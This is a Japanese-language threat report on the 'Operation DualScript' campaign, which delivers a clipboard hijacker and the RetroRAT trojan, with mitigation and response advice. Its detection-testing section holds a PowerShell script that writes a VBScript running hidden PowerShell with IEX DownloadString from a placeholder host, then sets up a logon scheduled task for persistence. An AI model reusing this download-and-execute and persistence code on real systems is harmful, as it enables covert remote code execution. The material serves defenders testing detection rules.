オペレーションDualScript: 暗号通貨および金融を標的とする多段階PowerShellマルウェア

概要

このレポートでは、Operation DualScriptについて概説します。これは、スケジュールされたタスクの永続性、VBScriptランチャー、およびPowerShellローダーに依存して、クリップボードハイジャッカーとRetroRATリモートアクセス型トロイの木馬を展開する多段階のマルウェアキャンペーンです。攻撃者は外部サーバーに悪意のあるPowerShellを保存し、メモリ内で完全に実行して検出の機会を減らします。RetroRATはキーストロークを記録し、金融関連のキーワードをアクティブウィンドウで監視し、盗まれたデータをカスタムTCP C2チャネルを通じて送信します。このキャンペーンは、暗号通貨活動および米国の銀行を対象としています。

調査

アナリストは、ユーザーが書き込み可能なパスからVBScriptファイルを起動するように構成されたスケジュールタスクを発見しました。これにより、実行ポリシーのバイパスが有効になった隠れたPowerShellが実行されます。2つの並行した配信チェーンが特定されました: 1つは暗号通貨のクリップボードの内容をハイジャックするWallet.txtスクリプトを取得し、もう1つはRetroRATをメモリに直接ロードしました。静的解析でも、解析回避ロジック、ミューテックスの作成、マルチスレッドのキーロギング、ハードコードされたC2ハンドシェイク文字列が露見しました。

緩和策

防御者は、隠れたウィンドウやバイパス引数でVBScriptやPowerShellを呼び出す不審なスケジュールタスクを監視する必要があります。エンドポイント検出は、メモリ内PowerShellの実行、異常なクリップボード監視動作、および不明なミューテックスの作成に注力すべきです。組織は悪意のあるドメインへのアウトバウンドトラフィックをブロックし、PowerShellとVBScriptへの厳格な実行管理を適用する必要があります。

対応策

この活動が検出された場合、影響を受けたホストを隔離し、悪意のあるスケジュールタスクを無効にし、永続化されたVBScriptまたはPowerShellのアーティファクトを削除します。RetroRATペイロード、キャプチャされたキーストロークデータ、および関連するC2トラフィックを完全にフォレンジックスイープします。暴露された暗号通貨ウォレットの情報をリセットし、銀行の資格情報を変更します。影響を受けたシステムをクリーンバックアップから復元し、特定されたドメインとIPアドレスをネットワーク層でブロックします。

シミュレーション実行

前提条件: テレメトリーとベースラインの事前フライトチェックが合格している必要があります。

根拠: このセクションは、検出ルールを引き起こすために設計された敵対的技術（TTP）の正確な実行について詳述します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックが期待する正確なテレメトリを生成することを目的とします。

• 攻撃の物語とコマンド:
  攻撃者は最初にVBScript (dual.vbs) をユーザーのプロファイルディレクトリに配置します。スクリプトの目的は、PowerShellをフラグ -WindowStyle Hidden and -ExecutionPolicy Bypassで起動し、その後、リモートペイロードをダウンロードして実行（簡単な Write-Hostでシミュレート）します。永続性を達成するために、攻撃者はログオン時にVBScriptを実行するスケジュールタスク (DualScriptPersist) を登録します。各ステップは、ルールが探している2つの相関されたEventID 4104エントリを生成します。

• 回帰テストスクリプト:

  # -------------------------------------------------
  # DualScript Attack Simulation – PowerShell
  # -------------------------------------------------
  # 1️⃣ ユーザー書き込み可能パスに悪意のあるVBScriptを作成
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # プレースホルダURL
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
  
  # 2️⃣ 毎ユーザーログオン時にVBScriptを実行するスケジュールタスクを登録
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ タスクを即座に実行（検出をトリガー）
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] DualScript simulation executed. Check your SIEM for alerts."
  # -------------------------------------------------

• クリーンアップコマンド:

  # -------------------------------------------------
  # DualScript Simulation Cleanup
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # スケジュールタスクの削除
  schtasks.exe /Delete /TN $taskName /F
  
  # VBScriptファイルの削除
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Cleanup completed."
  # -------------------------------------------------